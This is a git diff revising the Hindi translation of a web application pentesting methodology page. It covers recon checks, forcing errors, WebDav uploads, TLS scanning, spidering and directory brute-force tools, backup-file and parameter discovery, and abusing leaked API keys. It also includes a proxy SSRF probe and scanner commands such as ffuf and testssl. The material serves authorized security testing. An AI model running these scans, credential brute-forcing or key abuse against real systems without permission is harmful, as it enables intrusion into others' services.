@ -150,15 +149,15 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> इस बिंदु पर आपके पास पहले से ही क्लाइंट द्वारा उपयोग किए जा रहे web server के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और परीक्षण के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने एक CMS भी पाया होगा और कुछ scanner चलाया होगा।
|
||||
> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर (यदि कोई डेटा दिया गया हो) के बारे में कुछ जानकारी और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स पहले से होनी चाहिए। अगर आप भाग्यशाली हैं तो आपने एक CMS भी खोज लिया होगा और कुछ स्कैनर चला लिया होगा।
|
||||
|
||||
## चरण-दर-चरण वेब एप्लिकेशन खोज
|
||||
## Step-by-step Web Application Discovery
|
||||
|
||||
> इस बिंदु से हम वेब एप्लिकेशन के साथ इंटरैक्ट करना शुरू करेंगे।
|
||||
|
||||
### प्रारंभिक जाँच
|
||||
### Initial checks
|
||||
|
||||
**डिफ़ॉल्ट पेज जिनमें दिलचस्प जानकारी हो:**
|
||||
**Default pages with interesting info:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- मुख्य और द्वितीयक पेजों में टिप्पणियाँ भी जांचें।
|
||||
|
||||
**त्रुटियाँ उत्पन्न करना**
|
||||
**Forcing errors**
|
||||
|
||||
Web servers जब अजीब डेटा भेजा जाता है तो अनपेक्षित तरीके से व्यवहार कर सकते हैं। इससे vulnerabilities खुल सकती हैं या संवेदनशील जानकारी का खुलासा हो सकता है।
|
||||
वेब सर्वर जब असामान्य डेटा भेजा जाता है तो **अनपेक्षित रूप से व्यवहार कर सकते हैं**। इससे **vulnerabilities** खुल सकती हैं या **disclosure sensitive information** उजागर हो सकती है।
|
||||
|
||||
- /whatever_fake.php (.aspx,.html,.etc) जैसे fake pages को एक्सेस करें
|
||||
- त्रुटियाँ पैदा करने के लिए **cookie values** और **parameter values** में **"\[]", "]]", और "\[["** जोड़ें
|
||||
- **URL** के **end** पर **`/~randomthing/%s`** जैसा इनपुट देकर त्रुटि उत्पन्न करें
|
||||
- PATCH, DEBUG जैसे या FAKE जैसे गलत **HTTP Verbs** आज़माएँ
|
||||
- /whatever_fake.php (.aspx,.html,.etc) जैसे **fake pages** तक पहुँचें
|
||||
- **Add "\[]", "]]", and "\[["** को **cookie values** और **parameter values** में जोड़कर त्रुटियाँ उत्पन्न करें
|
||||
- URL के **end** पर इनपुट देकर error उत्पन्न करें, उदाहरण: **`/~randomthing/%s`**
|
||||
- PATCH, DEBUG जैसे अलग HTTP Verbs या FAKE जैसे गलत verbs आज़माएँ
|
||||
|
||||
#### **जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
#### **जाँचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
यदि आप पाते हैं कि **WebDav** सक्रिय है पर root फ़ोल्डर में **uploading files** के लिए आपके पास पर्याप्त permissions नहीं हैं, तो कोशिश करें:
|
||||
यदि आप पाते हैं कि **WebDav** **enabled** है लेकिन root फ़ोल्डर में **uploading files** के लिए पर्याप्त permissions नहीं हैं तो कोशिश करें:
|
||||
|
||||
- **Brute Force** credentials
|
||||
- WebDav के माध्यम से **Upload files** को वेब पेज के बाकी मिले हुए फ़ोल्डरों में अपलोड करने की कोशिश करें। हो सकता है कि अन्य फ़ोल्डरों में आपको फाइलें अपलोड करने की permissions मिलें।
|
||||
- WebDav के माध्यम से वेब पेज के अंदर मिले हुए अन्य फ़ोल्डर्स (rest of found folders) में **Upload files** करें। हो सकता है कि अन्य फ़ोल्डर्स में फाइलें अपलोड करने की permissions हों।
|
||||
|
||||
### **SSL/TLS कमजोरियाँ**
|
||||
### **SSL/TLS vulnerabilites**
|
||||
|
||||
- यदि एप्लिकेशन किसी भी हिस्से में यूजर को HTTPS उपयोग करने के लिए मजबूर नहीं कर रहा है, तो यह MitM के प्रति vulnerable है
|
||||
- यदि एप्लिकेशन संवेदनशील डेटा (passwords) HTTP का उपयोग करके भेज रहा है, तो यह एक उच्च vulnerability है।
|
||||
- यदि application किसी हिस्से में **HTTPS** उपयोग करने के लिए फोर्स नहीं कर रहा है, तो यह **vulnerable to MitM** है
|
||||
- यदि application संवेदनशील डेटा (passwords) **HTTP** के माध्यम से भेज रहा है, तो यह एक उच्च severity vulnerability है।
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग **vulnerabilities** की जाँच के लिए करें (Bug Bounty programs में संभवतः इस प्रकार की vulnerabilities स्वीकार नहीं की जातीं) और पुनः जाँच के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -197,58 +196,58 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
SSL/TLS कमज़ोरियों के बारे में जानकारी:
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
वेब के अंदर किसी तरह का **spider** चलाएँ। spider का लक्ष्य परीक्षण किए जा रहे application से जितने संभव हो उतने **paths** **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव हो उतने valid paths खोजे जाने चाहिए।
|
||||
लक्ष्य यह है कि वेब के अंदर कोई न कोई प्रकार का **spider** लॉन्च करें। spider का उद्देश्य टेस्ट की जा रही application से जितने संभव हो उतने **paths ढूँढना** है। इसलिए web crawling और बाहरी स्रोतों का उपयोग करके जितने संभव हो उतने वैध paths खोजने चाहिए।
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS फ़ाइलों में LinkFinder और बाहरी स्रोतों (Archive.org, CommonCrawl.org, VirusTotal.com) का उपयोग करता है।
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS फ़ाइलों के लिए LinkFider और Archive.org को बाहरी स्रोत के रूप में उपयोग करता है।
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, "juicy files" की पहचान भी बताता है।
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider। यह Archive.org में भी खोजता है।
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल spider नहीं है पर उपयोगी हो सकता है। आप hosts की एक फ़ाइल और paths की एक फ़ाइल दे सकते हैं और meg हर host पर हर path को fetch करके response सेव कर देगा।
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering क्षमताओं वाला HTML spider। हालांकि, ऐसा लगता है कि यह unmaintained है, precompiled version पुराना है और वर्तमान कोड compile नहीं होता।
|
||||
- [**gau**](https://github.com/lc/gau) (go): बाहरी providers (wayback, otx, commoncrawl) का उपयोग करने वाला HTML spider।
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह script parameter वाले URLs खोजेगा और उन्हें सूचीबद्ध करेगा।
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering क्षमताओं वाला HTML spider।
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify क्षमताओं के साथ जो JS फ़ाइलों में नए paths खोज सकता है। इसका wrapper [JSScanner](https://github.com/dark-warlord14/JSScanner) भी देखने लायक है।
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source और embedded javascript फ़ाइलों दोनों से endpoints निकालने के लिए। bug hunters, red teamers, infosec ninjas के लिए उपयोगी।
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado और JSBeautifier का उपयोग करके JavaScript फ़ाइलों से relative URLs parse करने वाला python 2.7 script। AJAX requests खोजने में उपयोगी। लगता है unmaintained।
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): किसी फ़ाइल (HTML) को दिया जाए तो यह एक निफ्टी regular expression का उपयोग करके ugly (minify) फ़ाइलों से relative URLs निकालता है।
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): कई टूल्स का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करता है।
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें ढूँढता है।
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक headless browser में पेज लोड करता है और पेज लोड करने के लिए लोड किए गए सभी urls प्रिंट करता है।
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool जो पिछले कई विकल्पों के कार्यों को मिलाता है।
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में path और params खोजने के लिए एक Burp extension।
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): यह टूल .js.map URL दिए जाने पर beautified JS code ला देता है।
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): किसी दिए गए target के लिए endpoints खोजने में उपयोगी।
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine से links खोजें (wayback में responses डाउनलोड करना और वहाँ और links खोजना भी)।
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (forms भरकर भी) करता है और specific regexes का उपयोग करके sensitive info भी ढूँढता है।
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक एडवांस multi-feature GUI web security Crawler/Spider है जिसे cyber security professionals के लिए डिज़ाइन किया गया है।
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go package और [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो JavaScript source code से URLs, paths, secrets, और अन्य दिलचस्प डेटा निकालता है।
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक simple **Burp Suite extension** है जो request से **paramters और endpoints extract** करके fuzzing और enumeration के लिए custom wordlist बनाता है।
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): इस काम के लिए एक शानदार टूल।
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): पाए गए हर link को प्रिंट करता है।
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
रूट फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आप इस **method** का उपयोग करके पाए गए सभी **directories** और **Spidering** से खोजे गए सभी directories को भी brute-force करें (आप इसे **recursively** कर सकते हैं और उपयोग किए जाने वाले wordlist के शुरुआत में पाए गए directory के नाम जोड़ सकते हैं)।\
|
||||
root फ़ोल्डर से **brute-forcing** शुरू करें और सुनिश्चित करें कि आपने इस **method** से पाए गए सभी **directories** और Spidering द्वारा **discovered** किए गए सभी directories पर भी brute-force किया है (आप इसे **recursively** कर सकते हैं और उपयोग की गई wordlist के शुरुआत में पाए गए directories के नाम जोड़ सकते हैं)।\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- **Dirb** / **Dirbuster** - Kali में शामिल, **पुराना** (और **धीमा**) पर कार्यक्षम। auto-signed certificates और recursive search की अनुमति देता है। बाकी विकल्पों की तुलना में बहुत slow।
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह auto-signed certificates की अनुमति नहीं देता पर** recursive search की अनुमति देता है।
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह auto-signed certificates की अनुमति देता है, इसमें **recursive** search नहीं है।
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): यह spider नहीं है पर एक टूल है जो पाए गए URLs की सूची देकर "duplicated" URLs हटा देता है।
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension जो burp history से directories की सूची बनाता है।
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports के आधार पर duplicated functionalities वाले URLs हटाता है।
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह wapalyzer का उपयोग करके उपयोग की गई technologies का पता लगाता और तय करता है कि किन wordlists का उपयोग किया जाए।
|
||||
|
||||
**Recommended dictionaries:**
|
||||
|
||||
@ -269,41 +268,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_नोट: जब भी कोई नया directory brute-forcing या spidering के दौरान मिलती है, उसे तुरंत Brute-Force किया जाना चाहिए।_
|
||||
_ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory खोजा जाए, उसे भी Brute-Force किया जाना चाहिए।_
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: एक बार जब आपने सभी files खोज लिए, तो सभी executable files के backups खोजें ("_.php_", "_.aspx_"...). बैकअप नाम देने के सामान्य वैरिएशन हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।
|
||||
- **Discover new parameters**: आप hidden parameters खोजने के लिए [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे tools का उपयोग कर सकते हैं। संभव हो तो हर executable web file पर hidden parameters खोजने की कोशिश करें।
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs के अंदर broken links खोजें जो takeover के लिए प्रवण हो सकते हैं।
|
||||
- **File Backups**: एक बार जब आपने सभी फ़ाइलें ढूँढ लीं, तो सभी executable फ़ाइलों के backups खोजें ("_.php_", "_.aspx_"...). backup नामकरण के सामान्य वेरिएंट हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप टूल [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) का भी उपयोग कर सकते हैं।
|
||||
- **Discover new parameters**: आप hidden parameters खोजने के लिए [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) जैसे tools का उपयोग कर सकते हैं। यदि संभव हो तो प्रत्येक executable web फ़ाइल पर hidden parameters तलाशें।
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** सभी files की comments जाँचें; यहाँ आपको **credentials** या **hidden functionality** मिल सकती है।
|
||||
- अगर आप **CTF** खेल रहे हैं तो एक सामान्य चाल यह है कि पेज के स्रोत में comments के दाईं ओर (हज़ारों spaces का उपयोग करके) जानकारी **छिपाई** जाए ताकि ब्राउज़र में सोर्स देखने पर वह दिखाई न दे। दूसरी संभावना यह है कि कई new lines का उपयोग करके पेज के bottom में comment में जानकारी छिपाई जाए।
|
||||
- **API keys**: अगर आप कोई API key पाते हैं तो विभिन्न platforms की API keys कैसे उपयोग करें उस पर मार्गदर्शक हैं: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: अगर आप कोई API key पाते हैं जो **AIza** से शुरू लगती है जैसे SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि key किन APIs तक पहुँच सकती है।
|
||||
- **S3 Buckets**: Spidering करते समय देखें कि क्या कोई **subdomain** या कोई **link** किसी **S3 bucket** से संबंधित है। ऐसी स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Comments:** सभी फ़ाइलों के comments चेक करें, वहाँ से आपको **credentials** या **hidden functionality** मिल सकती है।
|
||||
- यदि आप **CTF** खेल रहे हैं, तो एक "common" trick यह है कि page के दाईं ओर comments के अंदर जानकारी छुपा दी जाए (सैकड़ों spaces का उपयोग करके ताकि browser में source खोलते समय डेटा दिखाई न दे)। एक और सम्भव तरीका है कई new lines का उपयोग करके page के नीचे comment में जानकारी छुपाना।
|
||||
- **API keys**: यदि आप कोई API key पाते हैं तो विभिन्न platforms की API keys का उपयोग कैसे करें इसका गाइड मौजूद है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: यदि आपको कोई API key जो AIza से शुरू होती दिखे (उदा. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) तो आप यह जांचने के लिए [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) प्रोजेक्ट का उपयोग कर सकते हैं कि key किन APIs तक access कर सकती है।
|
||||
- **S3 Buckets**: spidering के दौरान देखें कि कोई **subdomain** या कोई **link** किसी **S3 bucket** से जुड़ा हुआ है या नहीं। उस स्थिति में, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**Spidering** और **brute-forcing** करते समय आप कुछ **interesting** चीज़ें पा सकते हैं जिन पर ध्यान देना चाहिए।
|
||||
**spidering** और **brute-forcing** करते समय आपको कुछ **interesting** **things** मिल सकते हैं जिन पर ध्यान देना ज़रूरी है।
|
||||
|
||||
**Interesting files**
|
||||
|
||||
- CSS फाइलों के अंदर अन्य files के **links** देखें।
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- अगर आपको _**.env**_ मिलता है तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है।
|
||||
- अगर आपको **API endpoints** मिलते हैं तो आप उन्हें [should also test them](web-api-pentesting.md)। ये files नहीं हैं, पर दिखने में अक्सर उनकी तरह लगते हैं।
|
||||
- **JS files**: spidering सेक्शन में कई tools का उल्लेख था जो JS files से paths निकाल सकते हैं। साथ ही, यह उपयोगी होगा कि हर पाए गए JS file की **monitoring** की जाए, क्योंकि कभी-कभी किसी JS में बदलाव यह संकेत दे सकता है कि code में संभावित vulnerability आई है। उदाहरण के लिए आप [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
||||
- आप पाए गए JS files को vulnerable होने के लिए [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक कर सकते हैं।
|
||||
- CSS फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **links** खोजें।
|
||||
- [यदि आप _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
|
||||
- यदि आप _**.env**_ पाते हैं तो उसमें api keys, dbs passwords और अन्य जानकारी मिल सकती है।
|
||||
- यदि आप **API endpoints** पाते हैं तो आपको उन्हें [test भी करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, पर अक्सर "फ़ाइलों जैसा" दिखते हैं।
|
||||
- **JS files**: spidering सेक्शन में कई tools बताए गए थे जो JS फ़ाइलों से path निकाल सकते हैं। इसके अलावा यह रुचिकर होगा कि पाए गए हर JS फ़ाइल पर निगरानी रखें, क्योंकि कुछ मामलों में किसी फ़ाइल में बदलाव यह संकेत दे सकता है कि code में कोई संभावित vulnerability आ गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon) का उपयोग कर सकते हैं।
|
||||
- आपको पाए गए JS फ़ाइलों को [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) से भी चेक करना चाहिए कि क्या वे vulnerable हैं।
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- कई मौकों पर, आपको उपयोग किए गए regular expressions को समझने की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- आप उन files की भी monitoring कर सकते हैं जहाँ forms detect हुए थे, क्योंकि parameters में बदलाव या नए form की दिखावट किसी नई संभावित vulnerable functionality का संकेत दे सकती है।
|
||||
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- कई मौकों पर आपको उपयोग किए गए regular expressions को समझने की ज़रूरत पड़ेगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- आप उन फ़ाइलों की निगरानी भी कर सकते हैं जहाँ forms detect हुए थे, क्योंकि किसी parameter में बदलाव या किसी नए form का आना एक संभावित नए vulnerable functionality का संकेत दे सकता है।
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -314,28 +313,28 @@ _नोट: जब भी कोई नया directory brute-forcing या spi
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
यदि किसी पेज का response उस **code** के साथ आता है, तो यह संभवतः गलत configured proxy है। यदि आप ऐसा HTTP request भेजते हैं: `GET https://google.com HTTP/1.1` (host header और अन्य सामान्य headers के साथ), तो proxy _**google.com**_ तक पहुँचने की कोशिश करेगा और आप एक **SSRF** पा सकते हैं।
|
||||
यदि कोई पेज उस code के साथ respond करता है, तो संभवतः यह एक badly configured proxy है। **यदि आप एक HTTP request भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (host header और अन्य सामान्य headers के साथ), तो **proxy** कोशिश करेगा _**google.com**_ **को access करने की और आपने एक** SSRF **ढूँढ लिया होगा।**
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
